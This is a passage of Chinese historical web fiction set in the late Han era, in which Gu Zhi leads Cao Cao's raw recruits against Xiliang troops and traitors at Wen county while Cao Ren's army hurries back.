新兵中,不知是谁冷笑了一声:“造反?造谁的反?不是奸贼董卓和你们西凉军造了反,携着天子远赴长安吗?”
“不过虚张声势罢了。我们用铁蒺藜与绳索妨碍那四个骑兵,再分一半的人去包围那十个步兵。”
一百多个新兵英勇无畏地前冲,毫无章法地与敌方缠斗。
十四个西凉兵纵然训练有素,到底寡不敌众,很快败下阵来。
新兵中有数十个人受了轻重不一的伤,大多来源于四匹战马冲撞踩踏。
等十四个西凉兵躺倒在地,新兵们面面相觑,有人欣喜,有人担忧。
“附近没有西凉兵的驻军,但城里……”
他们可是亲眼看到近千个精锐的西凉兵,带着那五百多个叛徒,凶神恶煞地进入城中。
在城中的曹氏部曲仅有百余人,能抵挡得住这些杀人不眨眼的恶鬼吗?
一旦城中的曹氏部曲被杀光,西凉军出城,哪还有他们的活路?
不少人心中惴惴,想要立即离开此地,却又顾及重重,不敢独自逃跑。<
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徐质与贾信离开人群,发现顾至正在营寨的边缘,安坐于马背之上,尚未离开。
二人收了兵器,快步来到顾至跟前,单膝点地,两手抱拳:
“将军停留此处……可是另有指示?”
“你俩先前想让我做你们的统率,现在可还作数?”
徐质二人短暂怔愣,立即应下:“自然作数!我二人愿为将军所驭!”
在帐外的一百多个新兵被这边的动静吸引,纷纷朝这边望来。
他们当中不乏有人听过顾至力退强敌的传闻,也有不少人曾听到他与棕胡男的对话,此时见到徐质二人的反应,当即乖觉地往这边凑,呼啦啦地跪了一地。
“愿受将军驱策,与将军共进退!”
“愿誓死追随将军!”
……
至少有半数的士兵云里雾里,并不了解顾至,可这不妨碍他们跟随同僚,一起纳头,喊出一些漂亮的口号。
嘹亮的呼声终于将缩在营帐中的另外三百多个新兵引了出来。
他们不明局势,不知道其他人拜的是谁,却也头也不抬,乌压压地伏了一地。
“愿效绵薄之力!”
这场景壮阔而荒谬,让顾至久久默然,甚至想笑。
徐质看出他的不豫,起身大喊:“肃静!”
直至此时,绝大多数兵卒都喊完了口号,听到这句呵斥,全都闭了嘴。
徐质重新抱拳:“请将军示下。”
顾至未曾下马,缓慢而锋锐地俯扫了一周:
“你们是曹操募来的士兵,吃着曹家的饷粮,可不要再说什么‘驱策’‘追随’这样的话。”
众人哗然,开始小声交耳。
底下的躁动,顾至听而不闻。
他只想在曹操家留几个月,等顾彦——也就是原主兄长的到来,并不想撬曹操的墙角。
“若你们还愿意当曹将军的士兵,那便出列,由我统御,进城援助曹氏。”
若说刚才的动静只是锅中的热油在呲呲作响,那么此刻,顾至的这句话就像是一瓢冷水浇入油锅,炸起了无数热沫。
众人迟疑着起身,私语声越来越大。
前排一个粗眉毛的士兵向前一步,壮着胆询问:“顾将军,你被曹氏关押……为何还要帮助曹氏?”
前排的士兵看得清楚,认出顾至就是当初坐在槛车内,与他们同行了一路,一起来到温县的“囚徒”。
先不论顾至和曹操有什么恩怨。在他们看来,被当做阶下囚的顾至,不趁乱跑路、不落井下石已是不易,岂会帮曹操御敌?
“各取所需,有何不可?”
顾至缓声反问,目光扫落,掠过一张张或镇定、或惶惑的面庞,
“今日之事,对诸位而言,乃是一场性命攸关的博弈。”
“若助曹氏一臂之力,等曹氏起势,诸位便是有功之臣,”
停顿片刻,顾至唇角微扬,似乎带着讥诮与自嘲,
“可这有功之臣,是各位用自己的性命换来的。活下来的,便是‘功臣’,死去的,便只是一具尸骸。”
全员肃静,无一人出声。
“若不想留下,诸位也可就此逃亡,离开此地。”
顾至话锋顿转,
“此举同样有利有弊。利,在于今晚性命无忧。弊,则在于世道之乱——偌大的天下,绝没有真正的安全之所,任何人,都随时可能在下一刻暴毙而亡。”
寂静得仿佛随时都能冻结的营地,只有一人的声音久久回荡。
“现在,愿意随我入城的,在营门前列队。”
18.备战
话音落下,立即去列队的,不过十余个人。
徐质、贾信正是其中一员,令人意外的是,那个最初嚷嚷着要加入西凉兵的棕胡男——牛金也赫然在列。
牛金走在第三位,落后一位的徐质忍不住多看了他一眼。
“看什么看,没见过‘识时务者为俊杰’?”
牛金转头瞪了他一眼,棕胡跟着热气一翘一翘。
徐质没有理他,往贾信的方向靠了靠:“瘦子,这边有麻蝇,我们走远点。”
“你!”
……
除了这十多个带头的,剩下的皆举棋不定,犹豫不决。
诚然,在募兵的时候,他们就已做好了丧命的准备,但当危机来临的这一刻,更多人遵从于趋利避害的本性,并不想真的被卷入血战。
更何况,西凉兵的凶残始终深深地映在他们脑中,即使方才通过人海战术杀了十几个西凉兵,也无法驱散大多数人心中的恐惧——
就连以多对寡的时候,都有三百多人躲在营帐中,不敢加入。
短短一百息的时间,只有七十个人先后出列,跟在最先出列的那支小队的后方。
顾至耐心地坐在马上,看向剩下的人群。
“时间紧迫,我数到三十,若数完三十之后,还有未出列的,视作请退。”
不等众人反应,他已开始数数。
“一,二……”
“等一等。”在持续的紧迫感中,一个士兵忍不住询问,
“如果曹氏已经被西凉兵屠了大半——”
就算曹氏部曲无一人伤亡,曹氏、夏侯氏与他们这些人加起来也不过八百多号人,而西凉军那方加上叛兵,可远不止一千。
人数差距本就悬殊,而更让人惴惴不安的,是他们根本不知道城内的情况。
万一曹氏部曲全灭了呢?万一曹操他死了呢?万一城内的士兵全部背叛了呢?
一切都未知,他们这几百个新兵蛋子却要带着简陋的装备进城,这和找死有什么两样?
剩下的士兵纷纷将目光投向顾至,似乎在等待他的解释,又或者在等他说一些激励的话语,对于胜利的许诺。
顾至知道他们想听什么,但他没有画大饼的癖好,更不想用所谓的侥幸让他们强行忘记恐惧,稀里糊涂地丢了性命。
“你说的这种局面,本就有可能发生。”顾至垂下眉眼,无悲无喜的话音听上去有一丝残酷,
“这不仅仅是投机,更是搏命。要进去,就得做好最坏的打算。”
“那为什么——我们不去陈留,不去东郡?”
另一个士兵站了出来,
“世道已乱,诸侯们都在募兵。我们都是青壮年,去哪儿没有饭吃?”
这句话如同燎原之火,将剩下的士兵点燃。
顾至将众人摇摆不定的模样看在眼底,无动于衷。
“那当然也是你们的选择。”
至于利弊,他早在一开始就说清楚了。
不止剩下的这些人,连已经出列,在营寨门口列队一部分士兵也开始动摇。
“在我数到三十之前,所有人都可自由离开。”
“三、四、五……”
一开始尚未有人动弹,随着倒计时的到来,有许多人猛然转身,往营帐外跑。
他们并没有选择小队集结的那个营门,而是选择了更远的后门。
他们选择了离开。
“十三,十四,十五……”
愈来愈多的新兵扭头就跑,甚至有十几个是不久前刚刚出列,在营门口集合的“志愿军”。
却也有一些人,快步走向前营的入口,加入了攻城队伍。
宽阔的土地上,人影来来去去,最终只剩下一百多人。
这一百多号人,既不肯加入攻城的队伍,也不肯离开。
顾至没有多看这一百多号人,驱马来到前营的门口。
徐质刚点完人数,看到顾至,立即抱拳行礼:
“将军,连我在内,一共一百九十九人。”
四百四十七个士兵,逃了一百多个,退缩了一百多个,剩下一百九十九个士兵愿意进城,援护主家。
“会骑马的到我身后。”
顾至如此说道,当即有十余个人出列。
“与人学过武,会一点身手的到我左侧列队。”
有五十多个人出列,挤着肩过去。
“在方才一战中受伤的,到我右侧……”
……
短短几句话,一百九十九个士兵已重新排列完毕。
顾至让四个队列依次报数,再依据单双,将每个队列分成两队。
近两百号人,就这么被分作八个人数迥异的队伍。
最少的八人,最多的有六十多人。
“接下来,我说得每一个字你们都要记住——”
顾至直起身,先前在他身上萦绕的松闲转瞬消失,化作逼人的刀锋。
目光扫过之处,无人敢轻忽,都竖起耳朵,认真聆听。
“若记不住,生死关头,谁也救不了你们。”
“是!”
“首先,记住各自队伍的编号……”
……
城内,穿着鱼鳞甲的西凉将领望着远处的火光,眉间尽是压不住的戾色。
他转过身,一把揪住身后小兵的衣领。
“谁让你们提前放火的?若是打草惊蛇,或直接把那曹操烧成了灰,岂不是让我这半个月的布置全部白费?!”
小兵猛烈地哆嗦着,为自己辩解:“我并没有让人放火……这,兴许是那些‘叛徒’自作主张。”
“哼。”西凉将领用力一推,像扔一块肮脏的碎布,将小兵丢到地上。
“田将军,消消气。”一个穿着曹氏部曲制式短甲的男人笑眯眯地劝解,并不惧怕将领那随时要暴起杀人的凶煞,
“曹氏的亲信部将有大半中了肠澼,就算不死也失去了反抗之力。我们人数众多,又分了一些士兵在各个方向守着,任凭曹操父子有百般手段,今晚也决计逃不出去。”
“说得轻巧,”西凉首领怒意稍弱,却还是极为不悦,
“现在连曹操父子的人影都没瞧见,若他们真被烧成了一抔灰,我拿什么向李将军邀功?”
“田将军勿忧,便是那曹操真的化成了飞灰也无妨。他的妻妾儿子众多,总会有没烧死的。到时候将军随便拎上两个,给李将军泄愤,想来李将军也不会计较这点瑕疵。”
这番话并不能很好地宽慰田将军,反而令他愈加不快。
可他也知道,不管是城中认路,还是接下来的战事,自己这一方都得依赖这个男人,实在不好将人得罪到底。
“请方先生继
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续带路。”
这个穿着曹氏部曲服的男人名叫方伍,本是曹氏部曲的一员,在部曲中担任伍长。
他与另外十个小军官背叛了曹操,引狼入室,又同时策反了九十五个老部曲。
城外的新兵们以为他们正在与西凉军鏖战,没有一个知道——曹氏部曲已经背叛了半数,没背叛的那些人全都患了肠澼,早就没了战斗力。
新兵们以为的以多胜寡,其实是以多欺寡。
即使西凉军这边占据了绝对的优势,他们也还是要使用下作手段,将曹氏逼入绝境,不让曹氏有任何逃生的可能。
今晚的战役,西凉这一方怎么看都胜券在握,可田将军还是有些不安。
“听说曹操有两个同族兄弟,一个叫曹仁,一个叫曹洪,都去东边募兵了。万一他们正巧在这个时候回来,带着大量兵马……”
田将军的多话与多虑让方伍很是不耐,他心中腹诽了无数句,嘴上却还是耐心宽慰:
“曹仁与曹洪一直待在河内,半个月前才带了部曲去募兵。募兵哪是这么轻易的事?更别提这一来一回的,没有一两个月的间隙,他们根本回不来,田将军大可放心,何需忧虑。”
田将军这才安下心,不再狂躁地宣泄。
方伍已经在心底将这西凉小将鄙视了两三个来回。
就这畏首畏尾的模样,就算把战果直接捧到他面前都扶不起。
要不是这姓田的怕这怕那,一直拖着计划,非要等借到援军,且曹氏部曲得病了才执行——他们早就把温县拿下了,又怎么会在投毒的时候被荀氏那伙人抓个现成?
一想到被牺牲的钱四,方伍就对这姓田的极为不满。
又蠢又没有魄力,难怪这么多年还只是个小小的百夫长,还要去讨好李傕这个名不见经传的校尉。
方伍在心中骂了个爽,却不知道为何,他的右眼皮也开始缓缓跳动。
不应该啊……优势在他,那个武力高绝的顾至也跑了,曹操这边又没留下多少人。
就算“曹氏部曲集体发了肠澼”这件事是假的,单凭曹操夏侯惇那边剩下的人,只有西凉这一方的四分之一,怎么想,都没有胜过他们的可能。
至于城外那些被西凉大军吓得画地为牢的几百多个新兵蛋子,那更是毫无威胁。
别说他们不敢动,就算他们突然脑子一热,要为曹操拼死拼活,就凭这些毫无训练、身板孱弱的三脚猫,根本无法逆转战局。
那么,让他不安的到底是什么呢?
在即将靠近曹宅的时候,一道灵光与刺目的火光一同钻入他的眼睛,直冲大脑。
等一等,曹操在外乡募了多少新兵来着?
他没有问,也没有去查,依稀记得至少有一千三百多个……甚至更多。
可是,在他们策反了五百多个新兵后,营帐内剩下的新兵,看起来竟然比他们策反的还少。
那些胆小如鼠、瘦弱不堪,或因为犹豫,或因为被他们嫌弃,而只能留在营帐的新兵——决计没有五百人。
那么剩下的几百个士兵,哪去了?
方伍忽然觉得脚底板一麻,好似有一股凉气从脚心钻入,直冲天灵盖。
先停下——
这句话还没有被喊出口,耳畔已捕捉到陆续的破空声。
废墟中,大量的羽箭,正朝他们疾射而来。
19.千回百折
“退!快退!”
方伍扬声嘶喊,几近破音。
田将军抬起头,望着漫天的箭羽,刚刚放下的心又再次悬了起来。
“列盾!”
他伸手抓住一个士兵充当人/肉/盾/牌,一边喊一边后退。
经验丰富的西凉兵有样学样,抓起旁边那些被他们策反的曹氏新兵,仿佛提着一袋等人长的沙包,严严实实地挡着自己的身躯。
那些背叛曹氏的新兵还未来得及反应,就连中数箭,成为西凉兵的牺牲品。
方伍头皮发麻地后退,与其他“弃暗投明”的曹氏部曲短暂对视,生怕他们成为下一个肉/盾。
大约是前排的新兵蛋子足够多,又或者,西凉兵留着他们另有他用,第一场箭雨结束后,被推出来挡箭的全是新兵,没一个是曹氏旧部。
这让方伍等人稍稍安心了一些。
田将军勉强找了个掩体躲避,瞧见狼狈逃来的方伍,脸色一阴。
他像抓小鸡仔一样,一把捏住方伍的脖子:“怎么回事?你带我们走进曹军的圈套?”
方伍余惊未定,被这么一捏,差点两眼一翻厥过去。
好在武者的体质犹在,他并没有这么脆弱。
“引将军入圈套?我莫非疯了不成?刚刚我差一点就死了!”
田将军冷笑不已:“焉知这不是你的苦肉计?”
“若是苦肉计,我方才为何要大喊示警?”
方伍强行让自己冷静下来,找回理智,
“曹操并不是个好对付的,要不然,当初岂会让李将军吃亏?”
眼见田将军再次冷笑,逐渐加重了手中的力道,方伍连忙补充了一句,
“我们都想岔了。这场大火,不是城中那些被策反的士兵干的,而是曹操的请君入瓮之计。”
方伍不敢停顿,一股脑地丢出自己的想法,
“如今想来,曹操断腿一事极为突然,恐怕早在那个时候,他就已经开始筹划。”
听到重点,田将军就是再惊怒,也没有继续加重手劲,将方伍的脖子扭断:
“说下去。”
情况紧急,方伍只得长话短说:
“方某也是不久前才察觉到这个问题——曹操并没有将新兵登记入册,我们一直以为曹操募得的新兵也就一千人出头。可实际上,曹操招来的新兵可能远远不止这个数。”
方伍半真半假地说着,尽量将话题往有利于自己的方向引,
“一千人与一千五百人……对数量不敏锐的人,一眼看不出端倪。曹操一开始就隐瞒了新兵的真正数量,将几百个最强壮的新兵藏了起来,暗中训练。”
田将军扭眉听着,越听越烦。
一直关注着对方脸色的方伍心中一突,话锋猛转,
“但,将军无需担心。就算曹操这边多了几百个新兵,在人数上,仍是我们更胜一筹。何况,在与太师的对战中,曹操的兵甲早就耗损了大半,即使藏了一些箭矢,也数量有限,经不起损耗。只要我们能熬到箭矢用尽的时候,就算损失一部分‘耗材’,又如何呢?”
说到“耗材”这两个字,方伍特地往几个畏畏缩缩的新兵方向扫了一眼。
经方才那一轮乱射,跟来的五百多个新兵死了三十多个,每个人身上都插着一根到十根不等的羽箭。
田将军接受了方伍的说辞,却还是对他深感不满。
“那你为何不早些发现?刚才那一轮,要不是本将军反应快,早就中箭了。”
方伍垂下眉眼,连声认错,坦诚自己的愚笨与不慎,眼中却折过一道恨意。
田将军虽然对方伍深感不满,但他军中都是头脑简单横冲乱撞的人物,缺少智略性的角色,只能捏着鼻子,继续将方伍这个“还算有几分脑子”的“智将”牵在手里,让他为自己出谋划策。
这支成分杂糅的西凉队伍,将领与智士互相嫌弃,各怀鬼胎,却又不得不依靠彼此,继续合作。
至少在表面上,两人还是惺惺相惜的模样。
“方才是我误会了贤士。”
田将军伸出大掌,拍了拍方伍身上沾染的灰,
“接下来的行动,贤士可要多多费心。”
方伍笑容牵强得像是便秘,满肚子邪火都堵在腹中,上不去,也下不来:
“是方某仰赖将军才是。”
……
在一处僻远的院落,曹操听完下属的汇报,转向一旁的黛衣青年:
“正如先生所料,敌军看到火光,以为生了变故,马不停蹄地往这条主道走。他们被我们的弓箭手压制,不得不躲进两侧的巷子,借围墙掩护,不敢冒进。”
端坐在曹操身旁的黛衣青年正是荀彧。
“叛徒方伍跟随主公多年,知道主公在征讨董卓的战役中耗损过多,此刻必定缺兵少箭,他多半会让西凉军躲在墙后,让新兵作为试探的诱饵,用以消耗我们的箭矢。”
这声“主公”在曹操听来,简直悦耳至极。
不仅因为“主公”二字本身拥有的含义,更是因为——道出这句“主公”的荀彧乃是前任司空荀爽的子侄,年纪轻轻,就已拥有过人的见识与才能。
初见的那天,曹操与荀彧聊了小半个时辰,便发出“这正是我的子房”的感慨。
将荀彧比作子房,既是恭维,也是实话。
曹操真心实意地这么想。
在他看来,荀彧不仅深谋远略,心思缜密,更难得的是他心性敞亮,君子而迂执,是主家们最喜欢的那一类谋臣。
得到如此省心的王佐之才,曹操那因为连番倒霉而生出的坏心情顿时散了大半。
他不由又想起府内供着的另一个“奇才”。
曹操:“……”
凡事最怕对比。有了荀彧这般好相处、好说话的谋臣,那个心性莫测,还要把自己的窗户打造成囚笼模式的“奇才”,不免让曹操的好心情染上了一丝微妙。
虽然顾至同样贯微动密,甚至文武兼备,可……
想到这些日子的相处,曹操的面颊不明显地抽动了一记。
顾至的离去本就是他计划中的一环,能迷惑敌人的视线,让敌人安心地踏入陷阱。
可当顾至真的主动辞别,只与曹昂通了气,完全没跟他打招呼……
曹操真的忍不住怀疑,以顾至那难定的脾性,说不定会直接忘了他这一号人,直接来个一去不回。
“主公假装伤了腿,诱使城中内应再次投毒,又让心腹部曲装出染病的模样,哄骗西凉军入城……”
娓娓的话语让曹操回过神,不再想顾至的事。
“等西凉军连番吃瘪,便会明白这些‘天时地利’都是主公的计策,到那时,他们的警惕心将拔到最高。”
荀彧笃定道,
“我们可利用他们的警惕,使他们提心吊胆,不然再贸然地分散兵力。如此一来,他们的主力将被困在城中,等夏侯将军除去城外那些暗中放哨、相互驰援的士兵,便可在城中对西凉兵进行游剿。”
游剿,即游动清剿。
曹操从未听说过这个说法,却能望文知意,心领神会。
按照荀彧的计策,他们胜算颇大,却也同样存在着极大的风险。
事实上,早在第一天的时候,荀彧就已与他说明利害,建议他暂避锋芒。
但曹操有着自己的想法,他愿意稍稍冒一次险。
“总得挖去腐肉,才能去腐生肌,彻底断除病灶。”
曹操长叹了一声。
在龙亢的时候,“顾至”策反他四千多个新兵,又引出陶谦部将的阴谋,在那时,曹操就意识到自己身边有细作存在。
因为陶谦不可能那么恰巧地掌握他的行踪。
知道他外出募兵的,只有身边的人,以及供养了多年的曹氏部曲。
钱四在井里投毒一事,更证明了这一点。
曹操想一口气把叛徒清出自己的队伍,干脆将计就计,引狼入室。
反正,他现在一无所有,既
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无地盘,也无多少拥趸。即使翻了车,也不过是从一穷二白变成一贫如洗,他承受得起。
只是……
“原以为去除腐肉是一件容易的事,可我怎么也没有想到,反叛之人,竟如此之多。”
除去曹仁、曹洪带去募兵的那些人,留在河内郡的部曲就只剩两百多人。
这两百多号人,竟背叛了一百零五人,足足占了半数!
若不是城中还有夏侯家的军队守着,他又从一千多个新兵当中挑了一些孔武有力又老实可靠的人加入防卫,只怕在那些叛徒给西凉兵开门的那一刻,他就已经全盘皆输。
现在只希望,曹仁、曹洪能早点募完兵,带着大部队来与他回合。
“报——”
门外突然传来传讯兵急切而惊惶的呼喊。
“大量人马聚集在城外,从西侧山麓逼近。那群人兵甲精良,疑似西凉兵的援军!粗略目测,应有上千人!”
曹操稍稍变了脸色,霍然起身。
他知道,荀彧曾经提醒过他的那个“变数”,出现了。
「“幕后之人选择了如此下作的计策,说明他们人数不足,并未占据压倒性的优势。”
几日前,烛光晦暗的内堂,荀彧与他陈列利害。
“唯一的变数,便是其他行伍。”」
正因为担心变数,不想让幕后之人有时间去寻找援军,曹操才以身犯险,在曹仁他们外出未归的时候,逼幕后之人现身。
可没想到,变数还是出现了。
“若是城墙未破,倒是可以固守,只是……”
荀彧蹙眉。
雒阳尚未被焚毁的时候,温县就遭到了西凉军的劫掠,半数城墙坍塌,城中尸横遍野,活人四处流亡。
修补城墙是个大工程,曹操没有人手,也没有余力去做,以至于这座临时的驻扎点,几乎没有任何的防御功能。
这也是荀彧一开始劝曹操“暂避锋芒”的原因。
曹操缓缓坐回原位,心神跌到了谷底。
以他们如今的人手,光是对抗城中的这些西凉兵就已危险重重,需要用巧计破敌。
再加上这新来的几千个不速之客,在绝对悬殊的人数差距之下,他如何能赢?
难道这一回……他真的选错了?
正在他恍惚伤神的时候,另一个传讯兵冲入屋内。
“报——”
曹操猛然抬头。
“有百余个士兵进入内城……”
曹操木然地听着,手足冰冷。
几千个西凉援军即将围城,这新增的百余个敌人,不过是将本就熊熊燃烧的干柴,又叠高了一片指甲盖的长度。
曹操早已不抱希望,却不料,第二个传讯兵急切地喘了口粗气,欣喜而振奋地汇报,
“那百余个士兵,正在猎杀城内的西凉兵!”
既然已经猎杀……
慢着。
曹操滞空的思绪一晃。
他再次起身。
“谁猎杀谁?”
“新进城的百余个士兵,在猎杀城内的西凉兵!”
错愕,疑惑,若有所悟。
曹操看向荀彧,后者正平静地望着他,无声启唇。
顾。
胸腔传来短暂的震动,曹操蓦然回神,紧紧盯着传信兵。
“带头的是何人,可看清了?”
“指挥士兵作战的,是将军带回来的那位顾姓少侠……”
顾至。
得到意料之中的答案,一时之间,曹操百感交集,喜忧参半。
喜的是顾至仗义,在危急之时带人来救。
忧的是……城外还有几千个西凉兵,顾至带来的百来号人无法抗衡,根本没有扭转战局的可能。
“来人,备马。”
曹操提起佩剑,往外走去。
即使败局已定,在辗转流亡之前,他也要尽可能地留下城中那些贼兵的性命。
谋算他性命的,当加倍奉还。
20.军阵对敌
田将军同样得到“凉州援军就在西城之外”“不足一刻钟便能抵达”的消息,顿时喜忧参半。
喜的是,不管曹操那边有什么阴谋,在绝对的人数差距下,曹操那方注定只有败局。
忧的是……他根本就没找过别的援军。
说白了,西凉兵现在入了长安朝廷的正式编制,不是什么游手好闲、到处晃荡的街溜子,他们都有任务在身,不能随便擅离职守。
他只是个小小的百人军官,如今他调动的这近千个人,还是他利用酒肉关系,找了在三辅地带巡逻的军队,硬生生凑出来的。
这时候又出现的几千个西凉兵,是从哪冒出来的?
千人之众……带队的极有可能是中级甚至高级的将领,一旦那位大人物发现他的行动,认定他“玩忽职守”“图谋不轨”,那他可就完了。
他只是想讨好李傕校尉,让自己转个油水多的官职,并不想搭上自己的性命。
田将军越想,冷汗便冒得越欢。
“快,让那些新兵出去挡箭,我们必须尽早找到曹操——”
只有抓住曹操,将所有黑锅甩到曹操头上,他才有活路可走。
田将军的眼中带着穷途末路的凶残,
“——尽诛曹氏。”
对,必须杀了曹操。
在对付董太师的关东义军中,这个曹操曾多次带兵、进攻前线。
并非他田雄心存私心,想要活捉曹操,以此讨好李傕。而是曹操这个逆贼图谋不轨,意图谋害太师、妨碍太师的大业。
因为情况紧急,他才来不及向上汇报,擅自集结军队征讨逆贼。
他绝对没有无视军令,以权谋私。
一听到自己这方的所有人都要被拖出去充当人/盾,那些背叛曹操的新兵各个惊惧。
“西凉贼人欺人太甚!畜牲不如!”
怒骂声从无到有,从低到高。
尽管他们当中的十几个人不久前成了肉/盾,被西凉兵推出去阻挡箭雨,但死掉的那一部分毕竟只是少数。大部分新兵在充满恐惧之余,仍然心存侥幸,觉得自己只要安静地缩在后排,不至于那么倒霉。
而现在,田将军狗急跳墙般的疯狂,把他们这些新兵彻底推上了死路,也粉碎了他们心中的最后一分侥幸。
“这些丧阴德的西凉老贼,跟他们拼了!”
在死亡恐惧的高压之下,他们也和田将军一样,开始不顾一切地反抗,与西凉兵扭打在一处。
狭小的巷子立即乱成一团。
顾至带领的那支临时军队就在这个时候绕到了巷子的另一头。
“一队,一至五号,截断标记点。”
在暗箭射程之外,密密麻麻地挤着一群士兵。
他们都是因为箭雨而畏葸不前,不敢靠近的西凉兵,因为突如其来的暗箭,被迫与田将军他们分开。
田将军那边的人数只有百人左右,而这支挤在后头的军队才是主力,挤满了整条街道。
数以千计的士兵挤在城内,茫然无措。
这支大部队正进退两难,等着田将军的命令,倏然,几个眼尖的士兵发出惊叫,慌慌张张地后退。
“箭矢!是烧着火的箭矢!快退!”
几支绑着布带,浇了灯油,跳着热焰的箭矢射到他们的眼前,所有站在射程内的士兵都下意识地后退,想要躲开这瘆人的火光。
可他们所在的大部队站得过于密集,前排的士兵歪歪斜斜地倒在一处,顿时一片大乱。
带着火的箭矢擦过一家集市的草棚,在上方蹭出星星点点的火苗。
不远处,一支马队疾驰而过。
马队最前方的徐质放下长弓,远远地与顾至对视,反手从篓中拈出一支箭,扎在一匹无人乘骑的老马的马臀上。
老马吃痛,扬蹄长鸣,一跃丈余,疯狂地冲向草棚的所在。
那十几个抱着摔成一团的西凉兵还没有成功站起来,就迎来了一匹被激怒的老马。
老马横冲直撞,撞入西凉兵中,引来一片哀嚎。
它不止撞伤了许多西凉兵,还打翻了那一架晕着火苗的草棚。
火苗在碎裂的枯草上翻腾,逐渐蔓延。
瞬间暴涨的火势阻拦了这支大部队的前路,也将前排几个西凉兵的木甲点燃。
“后退!着火了,快后退!”
“快退啊,你们想被烧死吗?”
“救我!啊——帮我灭火——”
……
来自大后方的变故,不仅让田将军神色大变,也落入了刚赶来的曹操等人的眼中。
曹操飞快地在屋宇间搜罗,终于看见了那个熟悉的人影。
顾至正骑在马背上,身后跟着一支格外眼熟的军队。
看清那支军队的曹操:“……”
如果他没有老眼昏花,这些人身上穿着的……似乎是他给新兵们准备的军服?
曹操的沉默震耳欲聋。
他以为顾至外出募兵,率着精锐之师来救他。可原来,顾至所率领的,竟然是从他家门口顺手拎进来的士兵?
……他新招募的士兵,为什么会听顾至的指示?
似悲似喜的热血已经被现实风干,曹操面无表情地望着那一处,望着顾至发号施令。
“二队,三队,从九点钟方向突进,列‘三二二’阵。”
九点钟?这是何意?
从未听说过的词汇,让曹操陷入短暂的怔愣。
他听不懂顾至的话,可那些什么都不会,比白纸还白的新兵却像是与他心神共通,飞快地从西北方向突进,列出一个极其别扭的军阵。
“鱼鳞阵?”
曹操喃喃着,否认了自己的判断,
“不对,此并非鱼鳞之阵。”
他读过无数兵书,知晓许多阵法,眼前这个“三二二”阵,绝非他识得的任何一个军阵。
“四五六队,正面迎击,跟着我!”
顾至举起长剑,身后的步兵发出整齐的呐喊,吸引了田将军等人的全部注意力。
“敌军大部队已被阻断在后方,巷子内只有百余人,与我们人数相仿。”
顾至快速说着,鼓舞士气,
“困笼之兽,不足为惧。杀了他们!”
“杀了他们!”士兵齐喝,声震云霄。
在另一端绕背的贾信带着精英,冷声施令:
“杀!”
“杀!”
昂扬的战意,变幻莫测、诡奇灵怪的战阵。
多方加持之下,这支毫无经验的队伍,竟然如同两柄锋锐的尖刀,在田将军这支百人前锋中来去自如,切割了一条又一条的创口。
被困在巷中的一百多个敌军无法抵挡,田将军、方伍先后死于乱刀之下,其余先锋乱作一团,再无奋战之力。
曹操震动地望着这一切,久久未能言语。
在西凉兵进城之前,他从新兵营中挑走了四百多个翘楚。
剩下的,都是在他眼中不堪大用、心性不定的老弱者。
眼前的这支军队……当真是被他抛在城外的那些弱兵?
这么短的时间里,顾至是怎么做到的?
本已死去的胸腔之火再次点燃,曹操骑上战马,带着部曲,赶赴顾至的所在。
“先生神兵天降,我当与先生同进同退,杀光这些贼子——”
激昂之语还未说完,曹操就瞧见顾至转过头,神色古怪。
“将军说的什么话,此时不跑,更待何时?”
曹操:“……?”
“西城外还有几千个西凉兵,杀几个回本就行了,切莫贪心。”
顾至好似将“能屈能伸”展示到了极致,回首命令士兵,
“全队撤回,往城东/突围——”
沸腾的血,透心凉,乱发飞扬。
曹操本也不打算以卵击石,此刻听了顾至的话,再看身后神色各异的部曲,他神色未变,果断转身:
“……走。撤离。”
他已经提前让家眷与幼子撤离,此时离开,仅仅只是调转马头。
下达命令后,曹操离开战场,看向那个毫不犹豫,眨眼间便带着军队跑出三丈远的背影。
方才的话语、决策并无错误之处,甚至可以称得上是审时度势、格外明智。
但,不知为何,曹操的心中总觉得不得劲。
“……”
顾至未免跑得也太快了一些。
最初因为顾至“进城相助”而生出的些许感动,此刻已然被冷风吹干。
留给曹操的只有面无表情。
远处,将这一切看在眼中的荀彧倏然一笑,扯动缰绳。
他遥遥凝视顾至远去的背影,带着部曲与家佣离开战场。
……
邢丘城外,济水岸边。
因为下了一场大雨,田间的小路泥泞不堪。
若是成人踩着小路经过,只需停留片刻,草鞋便会沉下去半寸,被烂泥纠缠。
在这样的小道上行走,每一次抬腿都会产生一种拔萝卜的感觉。
曹操的从弟——曹仁,此时就在这儿“拔着萝卜”。
天色是全然的黑,曹仁的脸色也和天色一样,黑得全然。
“全军听令,倍道兼行。”
倍道兼行,军队中要求快速行军的特殊指令。
曹仁身后跟着的四千多个兵丁,在听到这个军令后,无一不拔起腿,试图在泥泞的地上踩出疾行的火星。
这些兵丁,有六百人来自曹氏供养多年的部曲,另外三千多个年轻力壮的青年,则是在淮水、泗水沿岸活动的游侠。
他们对曹仁的命令保持着绝对的服从。
等到队伍离开泥地,所有人都疲惫不堪。
曹仁身边的中年将军观察着月色,对着曹仁提议:
“
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天色已晚,此处距离温县还有一大段距离,不如让士兵原地扎营,休息一夜?”
曹仁摇头,亲近地唤了一句“兄长”:
“不知为何,越是接近温县,我心中越是不安……仿佛今晚会有祸事。”
被曹仁称为兄长的中年将领并不是他的亲兄弟,也不是族亲。
中年将领姓夏侯,名渊,是夏侯惇的同族,与曹操一家有着千丝万缕的联系。
听了曹仁的话,夏侯渊蜷着蚕眉,在心中衡量了许久,徐徐点头:
“那便赶上一赶。”
两个主帅意见一致,军队继续加急赶路。
队伍的末尾,几个稍显瘦弱的小兵跟着大队伍,吭哧吭哧地跑着。
黑黝黝的夜幕让众人的视野变得局限,也隐藏了矮草间的风吹草动。
军队不远处的密林发出细微的沙沙声,似乎是风声在揉着树叶。
风过之处,杂草披靡,一双穿着皂色鞋履,裹着素色行缠的脚踩在树林的边缘,这双脚的主人正漫不经心地观察着这支队伍。
“温县?”
林中的青年咬着这个字眼,眼底漫过笑意,
“倒是巧了。”
青年撷了一把泥,在短褐和行缠上抹了一把,又在溪涧边捋了一小捧水,抹在额头。
他悄悄地跟了上去。
军队的末尾,一个士兵不慎踩中了田边的淤泥,脚下一滑。
这个士兵以为自己会摔得极为狼狈,却没料到,旁边突然伸出一双手,眼明手快地扶住了他。
“没事吧?”
穿着皂色鞋履的青年助他站稳,目露关切。
士兵余惊未定:“多谢……你是?”
“我姓郭,叫我郭六就好。”
青年松开手,状似随意地接话,
“我们走快些,可不要让曹将军等急了。”
士兵愣愣地点头,脑海中微弱的疑惑被“赶路”两个字打断,只余庆幸。
